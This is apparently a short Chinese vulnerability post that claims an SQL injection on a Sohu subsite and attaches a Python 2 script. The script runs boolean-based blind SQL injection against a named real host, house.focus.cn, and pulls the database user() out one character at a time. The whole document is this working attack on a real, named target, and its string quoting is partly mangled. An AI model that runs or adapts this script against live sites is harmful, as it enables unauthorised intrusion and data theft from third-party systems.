搜狐分站的SQL注入附测试脚本

#!/usr/bin/python
 
 import os,sys,re,string
 import requests as requests
 
 payloads = list(string.ascii_lowercase)
 payloads += list(string.ascii_uppercase)
 for i in range(0,10):
     payloads.append(str(i))
 payloads += ['@','_', '.']
 user = ''
 try:
  for i in range(1,22,1):     
      for payload in payloads:
       res = requests.get('http://house.focus.cn/community/xiangshuwan/khlist.php?id=2/' and ascii(mid(user(),%s,1))=%s and /'mWgl/'=/'mWgl' % (i, ord(payload)),timeout=3)
       if len(res.text) == 3610:
        user += payload
        print user
 except Exception, e:
  pass
 
 print 'house.focus.cn, user() is', user